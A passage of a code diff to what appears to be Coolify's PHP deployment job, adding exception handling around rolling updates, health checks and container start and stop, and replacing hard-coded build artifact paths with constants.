-                    $this->application_deployment_queue->addLogEntry('Custom internal name is set, rolling update is not supported.');
-                }
-                if ($this->pull_request_id !== 0) {
-                    $this->application->settings->is_consistent_container_name_enabled = true;
-                    $this->application_deployment_queue->addLogEntry('Pull request deployment, rolling update is not supported.');
-                }
-                if (str($this->application->custom_docker_run_options)->contains('--ip') || str($this->application->custom_docker_run_options)->contains('--ip6')) {
-                    $this->application_deployment_queue->addLogEntry('Custom IP address is set, rolling update is not supported.');
-                }
-                $this->stop_running_container(force: true);
-                $this->start_by_compose_file();
-            } else {
-                $this->application_deployment_queue->addLogEntry('----------------------------------------');
+        try {
+            $this->checkForCancellation();
+            if ($this->server->isSwarm()) {
                 $this->application_deployment_queue->addLogEntry('Rolling update started.');
-                $this->start_by_compose_file();
-                $this->health_check();
-                $this->stop_running_container();
+                $this->execute_remote_command(
+                    [
+                        executeInDocker($this->deployment_uuid, "docker stack deploy --detach=true --with-registry-auth -c {$this->workdir}{$this->docker_compose_location} {$this->application->uuid}"),
+                    ],
+                );
                 $this->application_deployment_queue->addLogEntry('Rolling update completed.');
+            } else {
+                if ($this->use_build_server) {
+                    $this->write_deployment_configurations();
+                    $this->server = $this->original_server;
+                }
+                if (count($this->application->ports_mappings_array) > 0 || (bool) $this->application->settings->is_consistent_container_name_enabled || str($this->application->settings->custom_internal_name)->isNotEmpty() || $this->pull_request_id !== 0 || str($this->application->custom_docker_run_options)->contains('--ip') || str($this->application->custom_docker_run_options)->contains('--ip6')) {
+                    $this->application_deployment_queue->addLogEntry('----------------------------------------');
+                    if (count($this->application->ports_mappings_array) > 0) {
+                        $this->application_deployment_queue->addLogEntry('Application has ports mapped to the host system, rolling update is not supported.');
+                    }
+                    if ((bool) $this->application->settings->is_consistent_container_name_enabled) {
+                        $this->application_deployment_queue->addLogEntry('Consistent container name feature enabled, rolling update is not supported.');
+                    }
+                    if (str($this->application->settings->custom_internal_name)->isNotEmpty()) {
+                        $this->application_deployment_queue->addLogEntry('Custom internal name is set, rolling update is not supported.');
+                    }
+                    if ($this->pull_request_id !== 0) {
+                        $this->application->settings->is_consistent_container_name_enabled = true;
+                        $this->application_deployment_queue->addLogEntry('Pull request deployment, rolling update is not supported.');
+                    }
+                    if (str($this->application->custom_docker_run_options)->contains('--ip') || str($this->application->custom_docker_run_options)->contains('--ip6')) {
+                        $this->application_deployment_queue->addLogEntry('Custom IP address is set, rolling update is not supported.');
+                    }
+                    $this->stop_running_container(force: true);
+                    $this->start_by_compose_file();
+                } else {
+                    $this->application_deployment_queue->addLogEntry('----------------------------------------');
+                    $this->application_deployment_queue->addLogEntry('Rolling update started.');
+                    $this->start_by_compose_file();
+                    $this->health_check();
+                    $this->stop_running_container();
+                    $this->application_deployment_queue->addLogEntry('Rolling update completed.');
+                }
             }
+        } catch (Exception $e) {
+            throw new DeploymentException('Rolling update failed ('.get_class($e).'): '.$e->getMessage(), $e->getCode(), $e);
         }
     }
 
     private function health_check()
     {
-        if ($this->server->isSwarm()) {
-            // Implement healthcheck for swarm
-        } else {
-            if ($this->application->isHealthcheckDisabled() && $this->application->custom_healthcheck_found === false) {
-                $this->newVersionIsHealthy = true;
+        try {
+            if ($this->server->isSwarm()) {
+                // Implement healthcheck for swarm
+            } else {
+                if ($this->application->isHealthcheckDisabled() && $this->application->custom_healthcheck_found === false) {
+                    $this->newVersionIsHealthy = true;
 
-                return;
-            }
-            if ($this->application->custom_healthcheck_found) {
-                $this->application_deployment_queue->addLogEntry('Custom healthcheck found in Dockerfile.');
-            }
-            if ($this->container_name) {
-                $counter = 1;
-                $this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
-                if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
-                    $this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}");
+                    return;
                 }
-                $this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
-                $sleeptime = 0;
-                while ($sleeptime < $this->application->health_check_start_period) {
-                    Sleep::for(1)->seconds();
-                    $sleeptime++;
+                if ($this->application->custom_healthcheck_found) {
+                    $this->application_deployment_queue->addLogEntry('Custom healthcheck found in Dockerfile.');
                 }
-                while ($counter <= $this->application->health_check_retries) {
-                    $this->execute_remote_command(
-                        [
-                            "docker inspect --format='{{json .State.Health.Status}}' {$this->container_name}",
-                            'hidden' => true,
-                            'save' => 'health_check',
-                            'append' => false,
-                        ],
-                        [
-                            "docker inspect --format='{{json .State.Health.Log}}' {$this->container_name}",
-                            'hidden' => true,
-                            'save' => 'health_check_logs',
-                            'append' => false,
-                        ],
-                    );
-                    $this->application_deployment_queue->addLogEntry("Attempt {$counter} of {$this->application->health_check_retries} | Healthcheck status: {$this->saved_outputs->get('health_check')}");
-                    $health_check_logs = data_get(collect(json_decode($this->saved_outputs->get('health_check_logs')))->last(), 'Output', '(no logs)');
-                    if (empty($health_check_logs)) {
-                        $health_check_logs = '(no logs)';
+                if ($this->container_name) {
+                    $counter = 1;
+                    $this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
+                    if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
+                        $this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}");
                     }
-                    $health_check_return_code = data_get(collect(json_decode($this->saved_outputs->get('health_check_logs')))->last(), 'ExitCode', '(no return code)');
-                    if ($health_check_logs !== '(no logs)' || $health_check_return_code !== '(no return code)') {
-                        $this->application_deployment_queue->addLogEntry("Healthcheck logs: {$health_check_logs} | Return code: {$health_check_return_code}");
-                    }
-
-                    if (str($this->saved_outputs->get('health_check'))->replace('"', '')->value() === 'healthy') {
-                        $this->newVersionIsHealthy = true;
-                        $this->application->update(['status' => 'running']);
-                        $this->application_deployment_queue->addLogEntry('New container is healthy.');
-                        break;
-                    }
-                    if (str($this->saved_outputs->get('health_check'))->replace('"', '')->value() === 'unhealthy') {
-                        $this->newVersionIsHealthy = false;
-                        $this->query_logs();
-                        break;
-                    }
-                    $counter++;
+                    $this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
                     $sleeptime = 0;
-                    while ($sleeptime < $this->application->health_check_interval) {
+                    while ($sleeptime < $this->application->health_check_start_period) {
                         Sleep::for(1)->seconds();
                         $sleeptime++;
                     }
-                }
-                if (str($this->saved_outputs->get('health_check'))->replace('"', '')->value() === 'starting') {
-                    $this->query_logs();
+                    while ($counter <= $this->application->health_check_retries) {
+                        $this->execute_remote_command(
+                            [
+                                "docker inspect --format='{{json .State.Health.Status}}' {$this->container_name}",
+                                'hidden' => true,
+                                'save' => 'health_check',
+                                'append' => false,
+                            ],
+                            [
+                                "docker inspect --format='{{json .State.Health.Log}}' {$this->container_name}",
+                                'hidden' => true,
+                                'save' => 'health_check_logs',
+                                'append' => false,
+                            ],
+                        );
+                        $this->application_deployment_queue->addLogEntry("Attempt {$counter} of {$this->application->health_check_retries} | Healthcheck status: {$this->saved_outputs->get('health_check')}");
+                        $health_check_logs = data_get(collect(json_decode($this->saved_outputs->get('health_check_logs')))->last(), 'Output', '(no logs)');
+                        if (empty($health_check_logs)) {
+                            $health_check_logs = '(no logs)';
+                        }
+                        $health_check_return_code = data_get(collect(json_decode($this->saved_outputs->get('health_check_logs')))->last(), 'ExitCode', '(no return code)');
+                        if ($health_check_logs !== '(no logs)' || $health_check_return_code !== '(no return code)') {
+                            $this->application_deployment_queue->addLogEntry("Healthcheck logs: {$health_check_logs} | Return code: {$health_check_return_code}");
+                        }
+
+                        if (str($this->saved_outputs->get('health_check'))->replace('"', '')->value() === 'healthy') {
+                            $this->newVersionIsHealthy = true;
+                            $this->application->update(['status' => 'running']);
+                            $this->application_deployment_queue->addLogEntry('New container is healthy.');
+                            break;
+                        }
+                        if (str($this->saved_outputs->get('health_check'))->replace('"', '')->value() === 'unhealthy') {
+                            $this->newVersionIsHealthy = false;
+                            $this->query_logs();
+                            break;
+                        }
+                        $counter++;
+                        $sleeptime = 0;
+                        while ($sleeptime < $this->application->health_check_interval) {
+                            Sleep::for(1)->seconds();
+                            $sleeptime++;
+                        }
+                    }
+                    if (str($this->saved_outputs->get('health_check'))->replace('"', '')->value() === 'starting') {
+                        $this->query_logs();
+                    }
                 }
             }
+        } catch (Exception $e) {
+            throw new DeploymentException('Health check failed ('.get_class($e).'): '.$e->getMessage(), $e->getCode(), $e);
         }
     }
 
@@ -1780,9 +1860,8 @@ private function create_workdir()
     private function prepare_builder_image(bool $firstTry = true)
     {
         $this->checkForCancellation();
-        $settings = instanceSettings();
         $helperImage = config('constants.coolify.helper_image');
-        $helperImage = "{$helperImage}:{$settings->helper_version}";
+        $helperImage = "{$helperImage}:".getHelperVersion();
         // Get user home directory
         $this->serverUserHomeDir = instant_remote_process(['echo $HOME'], $this->server);
         $this->dockerConfigFileExists = instant_remote_process(["test -f {$this->serverUserHomeDir}/.docker/config.json && echo 'OK' || echo 'NOK'"], $this->server);
@@ -1790,7 +1869,7 @@ private function prepare_builder_image(bool $firstTry = true)
         $env_flags = $this->generate_docker_env_flags_for_secrets();
         if ($this->use_build_server) {
             if ($this->dockerConfigFileExists === 'NOK') {
-                throw new RuntimeException('Docker config file (~/.docker/config.json) not found on the build server. Please run "docker login" to login to the docker registry on the server.');
+                throw new DeploymentException('Docker config file (~/.docker/config.json) not found on the build server. Please run "docker login" to login to the docker registry on the server.');
             }
             $runCommand = "docker run -d --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}";
         } else {
@@ -1900,7 +1979,6 @@ private function set_coolify_variables()
             $this->coolify_variables .= "COOLIFY_BRANCH={$this->application->git_branch} ";
         }
         $this->coolify_variables .= "COOLIFY_RESOURCE_UUID={$this->application->uuid} ";
-        $this->coolify_variables .= "COOLIFY_CONTAINER_NAME={$this->container_name} ";
     }
 
     private function check_git_if_build_needed()
@@ -2056,7 +2134,7 @@ private function generate_nixpacks_confs()
         if ($this->saved_outputs->get('nixpacks_type')) {
             $this->nixpacks_type = $this->saved_outputs->get('nixpacks_type');
             if (str($this->nixpacks_type)->isEmpty()) {
-                throw new RuntimeException('Nixpacks failed to detect the application type. Please check the documentation of Nixpacks: https://nixpacks.com/docs/providers');
+                throw new DeploymentException('Nixpacks failed to detect the application type. Please check the documentation of Nixpacks: https://nixpacks.com/docs/providers');
             }
         }
 
@@ -2151,7 +2229,7 @@ private function generate_nixpacks_env_variables()
         }
 
         // Add COOLIFY_* environment variables to Nixpacks build context
-        $coolify_envs = $this->generate_coolify_env_variables();
+        $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
         $coolify_envs->each(function ($value, $key) {
             $this->env_nixpacks_args->push("--env {$key}={$value}");
         });
@@ -2159,7 +2237,7 @@ private function generate_nixpacks_env_variables()
         $this->env_nixpacks_args = $this->env_nixpacks_args->implode(' ');
     }
 
-    private function generate_coolify_env_variables(): Collection
+    private function generate_coolify_env_variables(bool $forBuildTime = false): Collection
     {
         $coolify_envs = collect([]);
         $local_branch = $this->branch;
@@ -2194,8 +2272,11 @@ private function generate_coolify_env_variables(): Collection
                 if ($this->application->environment_variables_preview->where('key', 'COOLIFY_RESOURCE_UUID')->isEmpty()) {
                     $coolify_envs->put('COOLIFY_RESOURCE_UUID', $this->application->uuid);
                 }
-                if ($this->application->environment_variables_preview->where('key', 'COOLIFY_CONTAINER_NAME')->isEmpty()) {
-                    $coolify_envs->put('COOLIFY_CONTAINER_NAME', $this->container_name);
+                // Only add COOLIFY_CONTAINER_NAME for runtime (not build-time) - it changes every deployment and breaks Docker cache
+                if (! $forBuildTime) {
+                    if ($this->application->environment_variables_preview->where('key', 'COOLIFY_CONTAINER_NAME')->isEmpty()) {
+                        $coolify_envs->put('COOLIFY_CONTAINER_NAME', $this->container_name);
+                    }
                 }
             }
 
@@ -2232,8 +2313,11 @@ private function generate_coolify_env_variables(): Collection
                 if ($this->application->environment_variables->where('key', 'COOLIFY_RESOURCE_UUID')->isEmpty()) {
                     $coolify_envs->put('COOLIFY_RESOURCE_UUID', $this->application->uuid);
                 }
-                if ($this->application->environment_variables->where('key', 'COOLIFY_CONTAINER_NAME')->isEmpty()) {
-                    $coolify_envs->put('COOLIFY_CONTAINER_NAME', $this->container_name);
+                // Only add COOLIFY_CONTAINER_NAME for runtime (not build-time) - it changes every deployment and breaks Docker cache
+                if (! $forBuildTime) {
+                    if ($this->application->environment_variables->where('key', 'COOLIFY_CONTAINER_NAME')->isEmpty()) {
+                        $coolify_envs->put('COOLIFY_CONTAINER_NAME', $this->container_name);
+                    }
                 }
             }
 
@@ -2249,7 +2333,7 @@ private function generate_env_variables()
         $this->env_args = collect([]);
         $this->env_args->put('SOURCE_COMMIT', $this->commit);
 
-        $coolify_envs = $this->generate_coolify_env_variables();
+        $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
         $coolify_envs->each(function ($value, $key) {
             $this->env_args->put($key, $value);
         });
@@ -2633,15 +2717,15 @@ private function build_static_image()
                 executeInDocker($this->deployment_uuid, "echo '{$nginx_config}' | base64 -d | tee {$this->workdir}/nginx.conf > /dev/null"),
             ],
             [
-                executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee /artifacts/build.sh > /dev/null"),
+                executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'),
                 'hidden' => true,
             ],
             [
-                executeInDocker($this->deployment_uuid, 'cat /artifacts/build.sh'),
+                executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH),
                 'hidden' => true,
             ],
             [
-                executeInDocker($this->deployment_uuid, 'bash /artifacts/build.sh'),
+                executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH),
                 'hidden' => true,
             ]
         );
@@ -2649,7 +2733,7 @@ private function build_static_image()
     }
 
     /**
-     * Wrap a docker build command with environment export from /artifacts/build-time.env
+     * Wrap a docker build command with environment export from build-time .env file
      * This enables shell interpolation of variables (e.g., APP_URL=$COOLIFY_URL)
      *
      * @param  string  $build_command  The docker build command to wrap
@@ -2657,7 +2741,7 @@ private function build_static_image()
      */
     private function wrap_build_command_with_env_export(string $build_command): string
     {
-        return "cd {$this->workdir} && set -a && source /artifacts/build-time.env && set +a && {$build_command}";
+        return "cd {$this->workdir} && set -a && source ".self::BUILD_TIME_ENV_PATH." && set +a && {$build_command}";
     }
 
     private function build_image()
@@ -2669,7 +2753,7 @@ private function build_image()
         } else {
             // Traditional build args approach - generate COOLIFY_ variables locally
             // Generate COOLIFY_ variables locally for build args
-            $coolify_envs = $this->generate_coolify_env_variables();
+            $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
             $coolify_envs->each(function ($value, $key) {
                 $this->build_args->push("--build-arg '{$key}'");
             });
@@ -2696,10 +2780,10 @@ private function build_image()
             }
             if ($this->application->build_pack === 'nixpacks') {
                 $this->nixpacks_plan = base64_encode($this->nixpacks_plan);
-                $this->execute_remote_command([executeInDocker($this->deployment_uuid, "echo '{$this->nixpacks_plan}' | base64 -d | tee /artifacts/thegameplan.json > /dev/null"), 'hidden' => true]);
+                $this->execute_remote_command([executeInDocker($this->deployment_uuid, "echo '{$this->nixpacks_plan}' | base64 -d | tee ".self::NIXPACKS_PLAN_PATH.' > /dev/null'), 'hidden' => true]);
                 if ($this->force_rebuild) {
                     $this->execute_remote_command([
-                        executeInDocker($this->deployment_uuid, "nixpacks build -c /artifacts/thegameplan.json --no-cache --no-error-without-start -n {$this->build_image_name} {$this->workdir} -o {$this->workdir}"),
+                        executeInDocker($this->deployment_uuid, 'nixpacks build -c '.self::NIXPACKS_PLAN_PATH." --no-cache --no-error-without-start -n {$this->build_image_name} {$this->workdir} -o {$this->workdir}"),
                         'hidden' => true,
                     ], [
                         executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
@@ -2719,7 +2803,7 @@ private function build_image()
                     }
                 } else {
                     $this->execute_remote_command([
-                        executeInDocker($this->deployment_uuid, "nixpacks build -c /artifacts/thegameplan.json --cache-key '{$this->application->uuid}' --no-error-without-start -n {$this->build_image_name} {$this->workdir} -o {$this->workdir}"),
+                        executeInDocker($this->deployment_uuid, 'nixpacks build -c '.self::NIXPACKS_PLAN_PATH." --cache-key '{$this->application->uuid}' --no-error-without-start -n {$this->build_image_name} {$this->workdir} -o {$this->workdir}"),
                         'hidden' => true,
                     ], [
                         executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
@@ -2743,19 +2827,19 @@ private function build_image()
                 $base64_build_command = base64_encode($build_command);
                 $this->execute_remote_command(
                     [
-                        executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee /artifacts/build.sh > /dev/null"),
+                        executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'),
                         'hidden' => true,
                     ],
                     [
-                        executeInDocker($this->deployment_uuid, 'cat /artifacts/build.sh'),
+                        executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH),
                         'hidden' => true,
                     ],
                     [
-                        executeInDocker($this->deployment_uuid, 'bash /artifacts/build.sh'),
+                        executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH),
                         'hidden' => true,
                     ]
                 );
-                $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm /artifacts/thegameplan.json'), 'hidden' => true]);
+                $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]);
             } else {
                 // Dockerfile buildpack
                 if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
@@ -2787,15 +2871,15 @@ private function build_image()
                 $base64_build_command = base64_encode($build_command);
                 $this->execute_remote_command(
                     [
-                        executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee /artifacts/build.sh > /dev/null"),
+                        executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'),
                         'hidden' => true,
                     ],
                     [
-                        executeInDocker($this->deployment_uuid, 'cat /artifacts/build.sh'),
+                        executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH),
                         'hidden' => true,
                     ],
                     [
-                        executeInDocker($this->deployment_uuid, 'bash /artifacts/build.sh'),
+                        executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH),
                         'hidden' => true,
                     ]
                 );
@@ -2826,15 +2910,15 @@ private function build_image()
                     executeInDocker($this->deployment_uuid, "echo '{$nginx_config}' | base64 -d | tee {$this->workdir}/nginx.conf > /dev/null"),
                 ],
                 [
-                    executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee /artifacts/build.sh > /dev/null"),
+                    executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'),
                     'hidden' => true,
                 ],
                 [
-                    executeInDocker($this->deployment_uuid, 'cat /artifacts/build.sh'),
+                    executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH),
                     'hidden' => true,
                 ],
                 [
-                    executeInDocker($this->deployment_uuid, 'bash /artifacts/build.sh'),
+                    executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH),
                     'hidden' => true,
                 ]
             );
@@ -2861,25 +2945,25 @@ private function build_image()
                 $base64_build_command = base64_encode($build_command);
                 $this->execute_remote_command(
                     [
-                        executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee /artifacts/build.sh > /dev/null"),
+                        executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'),
                         'hidden' => true,
                     ],
                     [
-                        executeInDocker($this->deployment_uuid, 'cat /artifacts/build.sh'),
+                        executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH),
                         'hidden' => true,
                     ],
                     [
-                        executeInDocker($this->deployment_uuid, 'bash /artifacts/build.sh'),
+                        executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH),
                         'hidden' => true,
                     ]
                 );
             } else {
                 if ($this->application->build_pack === 'nixpacks') {
                     $this->nixpacks_plan = base64_encode($this->nixpacks_plan);
-                    $this->execute_remote_command([executeInDocker($this->deployment_uuid, "echo '{$this->nixpacks_plan}' | base64 -d | tee /artifacts/thegameplan.json > /dev/null"), 'hidden' => true]);
+                    $this->execute_remote_command([executeInDocker($this->deployment_uuid, "echo '{$this->nixpacks_plan}' | base64 -d | tee ".self::NIXPACKS_PLAN_PATH.' > /dev/null'), 'hidden' => true]);
                     if ($this->force_rebuild) {
                         $this->execute_remote_command([
-                            executeInDocker($this->deployment_uuid, "nixpacks build -c /artifacts/thegameplan.json --no-cache --no-error-without-start -n {$this->production_image_name} {$this->workdir} -o {$this->workdir}"),
+                            executeInDocker($this->deployment_uuid, 'nixpacks build -c '.self::NIXPACKS_PLAN_PATH." --no-cache --no-error-without-start -n {$this->production_image_name} {$this->workdir} -o {$this->workdir}"),
                             'hidden' => true,
                         ], [
                             executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
@@ -2900,7 +2984,7 @@ private function build_image()
                         }
                     } else {
                         $this->execute_remote_command([
-                            executeInDocker($this->deployment_uuid, "nixpacks build -c /artifacts/thegameplan.json --cache-key '{$this->application->uuid}' --no-error-without-start -n {$this->production_image_name} {$this->workdir} -o {$this->workdir}"),
+                            executeInDocker($this->deployment_uuid, 'nixpacks build -c '.self::NIXPACKS_PLAN_PATH." --cache-key '{$this->application->uuid}' --no-error-without-start -n {$this->production_image_name} {$this->workdir} -o {$this->workdir}"),
                             'hidden' => true,
                         ], [
                             executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
@@ -2923,19 +3007,19 @@ private function build_image()
                     $base64_build_command = base64_encode($build_command);
                     $this->execute_remote_command(
                         [
-                            executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee /artifacts/build.sh > /dev/null"),
+                            executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'),
                             'hidden' => true,
                         ],
                         [
-                            executeInDocker($this->deployment_uuid, 'cat /artifacts/build.sh'),
+                            executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH),
                             'hidden' => true,
                         ],
                         [
-                            executeInDocker($this->deployment_uuid, 'bash /artifacts/build.sh'),
+                            executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH),
                             'hidden' => true,
                         ]
                     );
-                    $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm /artifacts/thegameplan.json'), 'hidden' => true]);
+                    $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]);
                 } else {
                     // Dockerfile buildpack
                     if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
@@ -2968,15 +3052,15 @@ private function build_image()
                     $base64_build_command = base64_encode($build_command);
                     $this->execute_remote_command(
                         [
-                            executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee /artifacts/build.sh > /dev/null"),
+                            executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'),
                             'hidden' => true,
                         ],
                         [
-                            executeInDocker($this->deployment_uuid, 'cat /artifacts/build.sh'),
+                            executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH),
                             'hidden' => true,
                         ],
                         [
-                            executeInDocker($this->deployment_uuid, 'bash /artifacts/build.sh'),
+                            executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH),
                             'hidden' => true,
                         ]
                     );
@@ -3001,53 +3085,66 @@ private function graceful_shutdown_container(string $containerName)
 
     private function stop_running_container(bool $force = false)
     {
-        $this->application_deployment_queue->addLogEntry('Removing old containers.');
-        if ($this->newVersionIsHealthy || $force) {
-            if ($this->application->settings->is_consistent_container_name_enabled || str($this->application->settings->custom_internal_name)->isNotEmpty()) {
-                $this->graceful_shutdown_container($this->container_name);
-            } else {
-                $containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
-                if ($this->pull_request_id === 0) {
-                    $containers = $containers->filter(function ($container) {
-                        return data_get($container, 'Names') !== $this->container_name && data_get($container, 'Names') !== addPreviewDeploymentSuffix($this->container_name, $this->pull_request_id);
+        try {
+            $this->application_deployment_queue->addLogEntry('Removing old containers.');
+            if ($this->newVersionIsHealthy || $force) {
+                if ($this->application->settings->is_consistent_container_name_enabled || str($this->application->settings->custom_internal_name)->isNotEmpty()) {
+                    $this->graceful_shutdown_container($this->container_name);
+                } else {
+                    $containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
+                    if ($this->pull_request_id === 0) {
+                        $containers = $containers->filter(function ($container) {
+                            return data_get($container, 'Names') !== $this->container_name && data_get($container, 'Names') !== addPreviewDeploymentSuffix($this->container_name, $this->pull_request_id);
+                        });
+                    }
+                    $containers->each(function ($container) {
+                        $this->graceful_shutdown_container(data_get($container, 'Names'));
                     });
                 }
-                $containers->each(function ($container) {
-                    $this->graceful_shutdown_container(data_get($container, 'Names'));
-                });
+            } else {
+                if ($this->application->dockerfile || $this->application->build_pack === 'dockerfile' || $this->application->build_pack === 'dockerimage') {
+                    $this->application_deployment_queue->addLogEntry('----------------------------------------');
+                    $this->application_deployment_queue->addLogEntry("WARNING: Dockerfile or Docker Image based deployment detected. The healthcheck needs a curl or wget command to check the health of the application. Please make sure that it is available in the image or turn off healthcheck on Coolify's UI.");
+                    $this->application_deployment_queue->addLogEntry('----------------------------------------');
+                }
+                $this->application_deployment_queue->addLogEntry('New container is not healthy, rolling back to the old container.');
+                $this->failDeployment();
+                $this->graceful_shutdown_container($this->container_name);
             }
-        } else {
-            if ($this->application->dockerfile || $this->application->build_pack === 'dockerfile' || $this->application->build_pack === 'dockerimage') {
-                $this->application_deployment_queue->addLogEntry('----------------------------------------');
-                $this->application_deployment_queue->addLogEntry("WARNING: Dockerfile or Docker Image based deployment detected. The healthcheck needs a curl or wget command to check the health of the application. Please make sure that it is available in the image or turn off healthcheck on Coolify's UI.");
-                $this->application_deployment_queue->addLogEntry('----------------------------------------');
-            }
-            $this->application_deployment_queue->addLogEntry('New container is not healthy, rolling back to the old container.');
-            $this->failDeployment();
-            $this->graceful_shutdown_container($this->container_name);
+        } catch (Exception $e) {
+            throw new DeploymentException("Failed to stop running container: {$e->getMessage()}", $e->getCode(), $e);
         }
     }
 
     private function start_by_compose_file()
     {
-        if ($this->application->build_pack === 'dockerimage') {
-            $this->application_deployment_queue->addLogEntry('Pulling latest images from the registry.');
+        try {
+            // Ensure .env file exists before docker compose tries to load it (defensive programming)
             $this->execute_remote_command(
-                [executeInDocker($this->deployment_uuid, "docker compose --project-name {$this->application->uuid} --project-directory {$this->workdir} pull"), 'hidden' => true],
-                [executeInDocker($this->deployment_uuid, "{$this->coolify_variables} docker compose --project-name {$this->application->uuid} --project-directory {$this->workdir} up --build -d"), 'hidden' => true],
+                ["touch {$this->configuration_dir}/.env", 'hidden' => true],
             );
-        } else {
-            if ($this->use_build_server) {
+
+            if ($this->application->build_pack === 'dockerimage') {
+                $this->application_deployment_queue->addLogEntry('Pulling latest images from the registry.');
                 $this->execute_remote_command(
-                    ["{$this->coolify_variables} docker compose --project-name {$this->application->uuid} --project-directory {$this->configuration_dir} -f {$this->configuration_dir}{$this->docker_compose_location} up --pull always --build -d", 'hidden' => true],
+                    [executeInDocker($this->deployment_uuid, "docker compose --project-name {$this->application->uuid} --project-directory {$this->workdir} pull"), 'hidden' => true],
+                    [executeInDocker($this->deployment_uuid, "{$this->coolify_variables} docker compose --project-name {$this->application->uuid} --project-directory {$this->workdir} up --build -d"), 'hidden' => true],
                 );
             } else {
-                $this->execute_remote_command(
-                    [executeInDocker($this->deployment_uuid, "{$this->coolify_variables} docker compose --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} up --build -d"), 'hidden' => true],
-                );
+                if ($this->use_build_server) {
+                    $this->execute_remote_command(
+                        ["{$this->coolify_variables} docker compose --project-name {$this->application->uuid} --project-directory {$this->configuration_dir} -f {$this->configuration_dir}{$this->docker_compose_location} up --pull always --build -d", 'hidden' => true],
+                    );
+                } else {
+                    $this->execute_remote_command(
+                        [executeInDocker($this->deployment_uuid, "{$this->coolify_variables} docker compose --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} up --build -d"), 'hidden' => true],
+                    );
+                }
             }
+            $this->application_deployment_queue->addLogEntry('New container started.');
+        } catch (Exception $e) {
+            throw new DeploymentException("Failed to start container: {$e->getMessage()}", $e->getCode(), $e);
         }
-        $this->application_deployment_queue->addLogEntry('New container started.');
     }
 
     private function analyzeBuildTimeVariables($variables)
@@ -3202,7 +3299,9 @@ private function generate_build_secrets(Collection $variables)
     private function generate_secrets_hash($variables)
     {
         if (! $this->secrets_hash_key) {
-            $this->secrets_hash_key = bin2hex(random_bytes(32));
+            // Use APP_KEY as deterministic hash key to preserve Docker build cache
+            // Random keys would change every deployment, breaking cache even when secrets haven't changed
